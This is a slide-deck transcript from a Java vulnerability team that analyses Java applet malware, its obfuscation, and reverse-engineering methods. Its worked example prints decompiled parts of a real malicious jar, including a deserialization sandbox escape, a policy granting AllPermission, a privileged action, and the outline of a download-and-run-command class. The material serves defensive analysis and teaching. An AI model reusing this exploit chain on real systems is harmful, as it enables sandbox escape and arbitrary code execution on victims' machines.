750 likes | 897 Vues
Dissecting Java SE Malware. Marc Schönefeld Java Vulnerability Team. Agenda. Malware in a nutshell Obfuscation techniques Reversing Examples Mitigation. Graphic Section Divider.
E N D
Dissecting Java SE Malware Marc Schönefeld Java Vulnerability Team
Agenda • Malware in a nutshell • Obfuscation techniques • Reversing • Examples • Mitigation
The following is intended to outline our general product direction. It is intended for information purposes only, and may not be incorporated into any contract. It is not a commitment to deliver any material, code, or functionality, and should not be relied upon in making purchasing decisions. The development, release, and timing of any features or functionality described for Oracle’s products remains at the sole discretion of Oracle.
Malware Definition (US-CERT) • Short for malicious software • Programming (code, scripts, active content, and other software) • designed to disrupt or deny operation, gather information that leads to • loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior www.us-cert.gov/control_systems/pdf/undirected_attack0905.pdf • Adware, Banking trojans, dialers, license/password stealers, ...
Malware and Applet Security (before JDK 7u21) Dangerous applet runtime modes http://docs.oracle.com/javase/tutorial/deployment/applet/security.html • Self-signed applets (signed with a developer certificate) • Can run with elevated privileges if victim allows • The attacker uses social engineering techniques topersuade victim that the appletis trustworthy • Unsigned applets • Start in sandboxed mode • The attacker needs to exploit a JVM vulnerability to elevated privileges
Java and Malware Context of malware: Drive-by-infections • A harmless looking unsigned applet can turn out to be malware, activated by • Integrating a link to a malware jar in an HTML page • In a short URL or a phishing mail to a an infected host • In a malicious advertisement served to a legitimate website • Finding a victim that did not apply the updates for the latest JRE version • Good reason to always update to latest secure baseline • Btw, 3rd-party software should not require an insecure version of Java, if so ask vendor to fix it
Malware Exploitation strategy • In the browser plugin, the security manager is enabled by default • Therefore disabling/bypassing the security manager is the primary goal of the malware ("Jumping out of the sandbox"), either by: • Finding an exploitable programming error in privileged code or • Finding a native method that does not check parameters correctly to provoke a native code vulnerability
The Attacker, the victim, and the JRE • Visits malicious websites • Runs outdated VM • Tricked by social engineering • Uses Social Engineering • Knows vulnerabilities • Launches targeted or broad attack Victim Attacker Java-based Malware JRE • Latest (secure) VM for download • CPU, Security alerts • Defensive Security Levels
Exploits as a Service Blackhole, Phoenix, Robopak, etc.
Malware being watched Websites that monitor malware candidates (urlquery.net)
Malware Components • Malware can be often be divided into the following components • Code parts that exploit vulnerabilities in the local protection mechanisms • To bypass the security manager via a native vulnerability • To disable the security manager via a vulnerability in trusted Java code • Code parts that contain the actual malicious payload • Attacker could also execute malicious action in the applet JVM • But the Applet lifecycle could be too short for that to complete • Attackers prefer native malware components (better control over OS)
Malware activation Distribution model (technical and monetary) Infected site Victim Traffic Malware MWPackAuthor Malware Pack A Malware Pack B Payment Remote Control Fake Antivirus Password Stealer
Obfuscation Why attackers obfuscate their malicious Java binaries • Obfuscation creates polymorphic copies from a given master copy • Circumvents detection by blacklists simply based on checksums • Obfuscation disguises control flow • makes it harder for analysts to understand behavior • Effort for manual analysis prolongs lifetime of malware even after being detected
Obfuscation Techniques used • Identifier Name Mangling • The JVM does not need useful names for Methods and Fields • They can be renamed to single letter identifiers • Constant Pool Name Mangling • Decrypts constant pool entries on runtime • Control flow obfuscation • Insertion of phantom variables, stack scrambling • And by relying on their default values inserting ghost branch instructions, which never execute
Obfuscation Implications • Constant value mangling • Requires extra processing with call of an deobfuscation method • in each retrieval from constant pool • Dynamic class loading may become broken • as classes get new names and reflection calls like class.forName(„Hello“) will fail • because class „Hello“ may now only be known by an obfuscated name • Obfuscation breaks patterns that can be recognized by the JVM for optimization (less a concern for an attacker)
Obfuscating Java Code The sourcecode publicclassHello { publicstaticvoidmain(String[] args) { String[] TOTD = {“Hello",“Java",“One"}; for (int i = 0; i < TOTD.length; i++) { newHello(TOTD[i]); } } publicHello(String a) { System.out.println(a.toUpperCase()); } }
Bytecode trickery Methodsthatonlydifferwiththereturn type If the decompiled source is compiled again: • The signatures are considered duplicate in the Java language • But valid in JVM bytecode, and therefore can be used in obfuscation techniques >javac -classpath . overload.java overload.java:15: jvmoverload() is already defined in overload static double jvmoverload() ^ 1 error
Malware Analysis Reverse Engineering Malware(Reversing) • Disassembling • Retrieve and analyze bytecodeinstructions from class files • Decompilation • Rediscover source code from class files • Graphical Analysis • Rebuild the logical control flow of methods
Decompilation • Typical decompilation steps • Rebuild control flow from code segments, • Match flow patterns to java language constructs • Associate constants and external references from constant pool entries • Decompiled code is not always correct Java code • Javac applies stricter rules than the JVM • Invalid Java language identifiers in constant pool (accepted by the JVM)
Decompilers • JAD (http://www.varaneckas.com/jad) • Stopped development with version 1.5.8g • Doesn‘t understand some newer language features, Command-line-only • JD-GUI (http://jd.benow.ca) • Standalone GUI and decompilerplugin for Eclipse • Convenient "Save all" sources feature • Empirical Study • http://jameshamilton.eu/sites/default/files/JavaBytecodeDecompilerSurveyExtended.pdf
Disassembling Disassemble Classfiles with Javap • Features • Shows classinternals • Disassemble Bytecode • Options • private (show all fields and members) • c (disassemble class)
Graphical Analysis Overview • All Java Classfiles have to be compliant to the JVM specification • Obfuscation should better not break this otherwise verification fails • Effective control flow can be interleaved with fake code in an obfuscated class file • A graph can reveal the original control flow • Structures and dependencies can be discovered by graphical analysis • Several methods of original code may be blended in obfuscated target
Graphical Analysis Procedure • Walk through a specific code attribute of methods in a class file • Retrieve target instructions • Calculate control blocks • Calculate successor relationships • Rebuild control flow • Export control flow graph (CFG) to a graph markup language • Display the generated file with the control flow
Graphical Analysis IDA Pro
Examples „Longum iter est per praecepta, breve et efficax per exempla.“Seneca
Malware Analysis: The Payload Example 1, Payload is provided in an unsigned applet ] unzip -t j.jar Archive: j.jar testing: META-INF/ OK testing: META-INF/MANIFEST.MF OK testing: CustomClass.class OK testing: CustomClassLoaderRepository.class OK testing: CustomMBeanServer.class OK testing: dostuff.class OK testing: ipwn.class OK testing: mosdef.class OK testing: SiteError.class OK testing: SuperPolicy.class OK testing: naxui.ser OK
Malware Analysis: The Payload We find manifest info, class files and others ] unzip -t j.jar Archive: j.jar testing: META-INF/ OK testing: META-INF/MANIFEST.MF OK testing: CustomClass.class OK testing: CustomClassLoaderRepository.class OK testing: CustomMBeanServer.class OK testing: dostuff.class OK testing: ipwn.class OK testing: mosdef.class OK testing: SiteError.class OK testing: SuperPolicy.class OK testing: naxui.ser OK
Malware Analysis: The Payload ] xxd –g0 naxui.ser | awk '{$1="";print}' aced0005737200196a6176612e726d69 ....sr..java.rmi 2e4d61727368616c6c65644f626a6563 .MarshalledObjec 747cbd1e97ed63fc3e02000349000468 t|....c.>...I..h 6173685b00086c6f6342797465737400 ash[..locBytest. 025b425b00086f626a42797465737100 .[B[..objBytesq. 7e00017870e209b63b70757200025b42 ~..xp...;pur..[B acf317f8060854e00200007870000000 ......T....xp... 20aced00057372000b437573746f6d43 ....sr..CustomC 6c6173732123456789abcdef02000078 lass!#Eg.......x 70 p • The file contains a serialized object (0xACED0005 magic) • This is a hint that the malware is trying to exploit a serialization vulnerability • It is a serialized instance of java.rmi.MarshalledObject, as suggested by the class name • CustomClass is a serializable class supplied in the jar file • What's inside naxui.ser?
Malware Analysis: The Payload We find manifest info, class files and serialized objects ] unzip -t j.jar Archive: j.jar testing: META-INF/ OK testing: META-INF/MANIFEST.MF OK testing: CustomClass.class OK testing: CustomClassLoaderRepository.class OK testing: CustomMBeanServer.class OK testing: dostuff.class OK testing: ipwn.class OK testing: mosdef.class OK testing: SiteError.class OK testing: SuperPolicy.class OK testing: naxui.ser OK
Malware Analysis ] grep java/applet/Applet *.class Binary file SiteError.class matches publicclassSiteErrorextends Applet { • Simple grep for the text "java/applet/Applet" should find the Applet entry point • Processing will start in class SiteError • Finding the entry point
Malware Analysis publicvoid init() { host = getParameter((new StringBuilder()). append("UeHlurk".substring(4, 6)). append("3Pk44ljb".substring(5,6)).toString()); s_port = "67K80mFPsU".substring(3, 5); if (host == null) host = (newStringBuilder()). append("tZa127P7".substring(3, 6)) append("g1d85.0.W1".substring(5,8)). append("30.bbH".substring(1, 3)). append("nZ1Q".substring(2,3)). toString(); • Let's decompile SiteError.class for more information • Bootstrapping in init()
Malware Analysis publicvoid init() { host = getParameter((new StringBuilder()). append("UeHlurk".substring(4, 6)). append("3Pk44ljb".substring(5,6)).toString()); s_port = "67K80mFPsU".substring(3, 5); if (host == null) host = (newStringBuilder()). append("tZa127P7".substring(3, 6)) append("g1d85.0.W1".substring(5,8)). append("30.bbH".substring(1, 3)). append("nZ1Q".substring(2,3)). toString(); • Let's decompile SiteError.class for more information • Variable host is taken from the parameter "url", Port is "80" , if the parameter lookup fails the default value is "127.0.0.1" • Bootstrapping in init()
Malware Analysis • Hint: • Fast understanding of decompiled code snippets with a scripting language of your choice • But make sure you only evaluate safe functions (or turn on the security manager)
Malware Analysis RMIConnectionImplrmiconnectionimpl = newRMIConnectionImpl(rmijrmpserverimpl, (newStringBuilder()). append("QTdmyMJ".substring(3, 5)). append("Hrmg6Dd7".substring(1, 3)). append("QJDic2zra".substring(3, 5)). append("EQ2MimpEaV".substring(4, 7)). append("uWLklzr8a".substring(4, 5)).toString(), (ClassLoader) null, (Subject) null, (Map) null); • Similar approach for the RMIConnectionImpl instance • The attacker obfuscated the string "myrmicimpl" which is used as the name of the connection id • Finding hints to the root cause
Malware Analysis Intermediate Results: The root cause • CVE-2010-0094 aka "Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability", is the bug behind the malware http://archive.cert.uni-stuttgart.de/bugtraq/2010/04/msg00039.html • Root cause is the privileged deserialization of a marshalled object and the consecutive dispatch of the wrapped CustomClassobject with AllPermissions granted • As a consequence the attacker can disabled the security manager and launch arbitrary malicious code • The bug was fixed in JDK 6u19, http://hg.openjdk.java.net/jdk6/jdk6-gate/jdk/rev/4509549ab091
Malware Analysis, the control flow • publicclassCustomClassextendsSecureClassLoaderimplementsSerializable { • The attacker loads a serialized instance of CustomClassvia RMI • As CustomClass is serializable , interesting stuff is likely to be found in the readObject method • So far we know
Malware Analysis, the control flow privatevoidreadObject(ObjectInputStreamois) { Class c1 = autoLoadClass((newStringBuilder()) .append("YjwSmosze".substring(4,7)) .append("LmlbdefS".substring(4,7)).toString()); String s = SiteError.host; inti = Integer.parseInt(SiteError.s_port); Constructor cons = c1.getConstructor(new Class[]{s.getClass(), Integer.TYPE }); Object obj = cons.newInstance( new Object[] {s, new Integer(i) }); Class c2 = autoLoadClass((newStringBuilder()) .append("h8pecipwfPt".substring(5, 8)) .append("BFQnlmUm".substring(3,4)).toString()); Constructor cons1 = c2.getConstructor(new Class[] {c1}); Object obj1 = cons1.newInstance(new Object[] { obj }); • CustomClass inside the MarshalledObject is deserialized • It calls autoLoadClass, which takes a string, appends the string ".class" and loads a class file with that name from the jar • The first class loaded is mosdef, an instance is created, which is fed into a new instance of ipwn • Deserialisation
Malware Analysis, the control flow classSuperPolicyextends Policy { publicPermissionCollectiongetPermissions(CodeSourcecodesource) { Permissions permissions = newPermissions();permissions.add(newAllPermission()); return permissions; } [..] } • It provides a non-restrictive policy • With a permission collection required for a full privilege execution scenario (AllPermission) • What does SuperPolicy do?
Malware Analysis, the control flow publicclassmosdefimplementsPrivilegedAction { public Object run() { try { Policy.setPolicy( newSuperPolicy()); } catch (SecurityExceptionsecurityexception) {} ( new Thread( newdostuff(host))).start(); return null; } • Sets a permission collection required for full privilege execution (SuperPolicy) • Executes doStuff in a new thread • What is mosdef.class for?
Malware Analysis, the control flow publicclassipwn { publicipwn(mosdefmos) { AccessController.doPrivileged(mos); } • mosdef is an instance of PrivilegedAction • Is executed with doPrivileged • How is ipwn.class used?
Malware Analysis, the control flow classdostuffimplementsRunnable { public String dfghj; public String ename; publicdostuff(String s) { dfghj = s; } publicvoidnbfd(String s) throwsIOException {..} // load bytestream from URL to a given file public String runcommand(String s) {[…] } publicvoid run() {[…] } } • Is a Runnable with several declarations • Takes a filename as input parameter in constructor • Implementation is started in the runmethod • What does doStuff do?